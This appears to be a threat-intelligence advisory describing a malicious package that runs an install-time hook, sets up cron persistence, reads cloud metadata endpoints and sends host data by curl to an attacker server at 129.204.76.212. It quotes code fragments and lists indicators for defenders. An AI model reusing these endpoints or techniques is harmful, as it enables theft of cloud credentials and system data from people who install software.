GCVE-110-OSM-2026-9062

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json PERSISTENCE - Cron Job Persistence in index.js: "/etc/cron" DESTINATION - custom-c2: http://129.204.76.212:9999/report (primary, plaintext) in index.js - custom-c2: http://100.100.100.200/latest/meta-data/ (plaintext) in index.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in index.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in index.js - custom-c2: http://169.254.169.254/computeMetadata/v1/instance/?recursive=true (plaintext) in index.js - custom-c2: http://129.204.76.212:9999/rce-poc (plaintext) in postinstall.js - custom-c2: kubernetes.io (plaintext) in index.js - custom-c2: 129.204.76.212 (plaintext) in index.js (+1 more) EXFIL - System Information Collection in index.js: "os.hostname()" - Suspicious Domain in index.js: "http://129.204.76.212" - System Information Collection in postinstall.js: "os.hostname()" - Suspicious Domain in postinstall.js: "http://129.204.76.212" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Platform Detection with Data Collection in index.js: "JSON.stringify({ key, data }); shell(`curl -s -m 5 -X POS" PAYLOAD FILES index.js (+ postinstall.js) INDICATORS (IOCs) - payloadFileHash: 93ca4315629cb5b4d921c21b2745832196fde5c936f9d2644e941f93820410d9